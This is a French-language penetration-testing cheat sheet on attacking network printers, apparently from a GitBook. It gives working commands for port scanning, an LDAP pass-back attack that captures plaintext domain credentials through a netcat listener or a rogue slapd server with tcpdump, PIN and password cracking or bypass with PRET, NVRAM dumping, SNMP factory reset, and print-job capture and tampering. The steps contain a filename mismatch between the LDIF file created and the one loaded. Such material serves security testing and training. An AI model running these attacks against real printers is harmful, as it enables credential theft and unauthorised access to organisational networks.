# Imprimantes

## Site

<http://hacking-printers.net/>

## Mindmap

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FC5mkFjYNSl2xCl4nFXgY%2Fimage.png?alt=media&#x26;token=14ddcddc-c76f-40cd-a8cd-6c0229aa8588" alt=""><figcaption></figcaption></figure>

## Scan

*`$ nmap -sV -p 9091, 515, 631, 21, 23, 80, 443 <target IP>`*

## Accès anonymes

Commencer par tester les accès anonymes sur les différents ports disponibles.

## Mot de passe par défaut

Puis, essayer de se connecter avec les identifiants fabriquant généralement facilement retrouveable soit directement sur le navigateur soit dans la documentation de l'imprimante.

## Exploits

Rechercher des exploits liés à l'imprimante testé.

### Lexmark

{% embed url="<https://github.com/blasty/lexmark>" %}

### LDAP Pass-back attack

Cette attaque vise à tromper l'imprimante afin de la faire se connecter à un serveur non autorisé afin de divulger des informations d'identification ou des hachages réseau stockés pendant que l'appareil tente de s'authentifier auprès du serveur.

Exemple avec une fonctionnalitée permettant de mettre à jour les informations de l'imprimante.

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2F3PEQ7JCVBMpnXuzEICIT%2Fimage.png?alt=media&#x26;token=9de7b206-cffb-4ce4-8cfe-a76b45393039" alt=""><figcaption></figcaption></figure>

Il est possible d'effecter cette attaque de différentes façons:

#### Avec un listener netcat

Sur l'interface web, on va indiquer l'adresse IP de notre machine attaquant puis lancer un listener netcat sur un terminal écoutant sur le port 389 (port du server contacté par l'imprimante dans notre cas).

Une fois cela fait, lorsqu'on cliquera sur le bouton update, l'imprimante contactera notre listener comme si il s'agissait d'un serveur légitime et lui transmettra les informations dont le mot de passe en clair.

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FSUbqqa6RHwWdNrQ14h9G%2Fimage.png?alt=media&#x26;token=e0f79a5e-aaec-41d8-bffa-dbd423bee583" alt=""><figcaption></figcaption></figure>

#### Via un rogue LDAP server

Dans le cas où le listener netcat ne suffirait pas, on peut essayer de passer par un rogue LDAP server.

On va d'abors installer les packages nécessaires avec les commandes:

<pre><code><strong>$ sudo apt-get update &#x26;&#x26; sudo apt-get -y install slapd ldap-utils
</strong></code></pre>

Puis on va configurer le serveur avec la commande:

<pre><code><strong>$ dpkg-reconfigure -p low slapd
</strong></code></pre>

Les configurations à apporter sont les suivantes:

* Omit OpenLDAP server configuration? <mark style="color:red;">No</mark>
* DNS domain name: <mark style="color:green;">\<target AD domain name></mark>
* Organization name: <mark style="color:green;">\<target AD domain name></mark>
* Administrator password: <mark style="color:green;">\<mot de passe configuré lors de l'installation></mark>
* Do you want the database to be removed when slapd is purged? <mark style="color:red;">No</mark>
* Move old database? <mark style="color:green;">Yes</mark>

Une fois les configurations terminées,

<pre><code><strong>$ sudo systemctl start slapd
</strong></code></pre>

Pour capturer les informations d'identification en texte clair, reconfigurer le serveur LDAP pour prendre en charge les méthodes d'authentification PLAIN et LOGIN.

Pour ce faire, créer un fichier "olcSaslSecProps.ldif" avec les configurations ci-dessous.

<pre><code><strong>#olcSaslSecProps.ldif
</strong><strong>dn: cn=config
</strong><strong>replace: olcSaslSecProps
</strong><strong>olcSaslSecProps: noanonymous,minssf=0,passcred
</strong></code></pre>

Valider les nouvelles modifications avec ldapmodify et redémarrez le serveur comme ceci.

<pre><code><strong>$ sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcPlainAuthOnly.ldif
</strong><strong>$ sudo service slapd restart
</strong></code></pre>

Valider les modifications avec la commande:

<pre><code><strong>$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
</strong></code></pre>

Puis lancer un tcpdump pour capturer les identifiants et forcer l'imprimante à se connecter au serveur rogue.

<pre><code><strong>$ sudo tcpdump -SX -i tun0 tcp port 389
</strong></code></pre>

### Bruteforce

Avec PRET:

```
$ ./pret.py -q <target> pjl
> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

ou

$ ./pret.py -q <target> ps
> lock 999
> unlock
No password given, cracking.
Device unlocked with password: 999
> lock S0me_Re4lly_g00d_Passw0rd!
> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0
```

## Post-Exploit

Une fois l'imprimante compromise,

### Rechercher des informations sensibles

Les imprimantes possèdent souvent une interface web dans laquelle il n'est pas rare de retrouver le carnet d'adresses contenant au minimum des emails de collaborateurs. On peut aussi analyser les logs pouvant donner des informations interessantes sur les connexions etc.

#### Accès à la mémoire

Avec PRET:

```
./pret.py -q <target> pjl
> nvram dump
```

#### Navigation dans les répertoires

```
./pret.py -q <target> ps
> ls ...
```

### Escalation de privilèges

#### Réinitialisation de l'imprimante comme sortie d'usine

```
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

ou avec PRET:

./pret.py -q <target> pjl
> reset
> restart
```

#### Essayer d'ajouter un username sans être authentifié (Port 631 - IPP)

```
lp -U nobody test.ps
```

Accounting bypass avec PRET

```
$ ./pret.py <target> pjl
> pagecount
```

### Interactions avec les jobs

#### Activer la sauvegarde des jobs

```
./pret.py -q <target> ps
> hold
Job retention enabled.
```

#### Capture des jobs

Avec PRET:

```
$ ./pret.py -q <target> ps
> capture start
```

#### Manipulation des jobs

```
$ ./pret.py -q <target> ps
> overlay overlays/smiley.eps
> cross whoa "HACKED"
> exit
```

## Outil

### PRET

Printer Exploitation Toolkit - L'outil qui a rendu le dumpster diving obsolète.

#### Exemples d'utilisation

printer discovery:

*`$ ./pret.py`*

Lancer un shell pret:

*`$ ./pret.py <target printer name> <printer language>`*

ressource: <https://github.com/RUB-NDS/PRET>
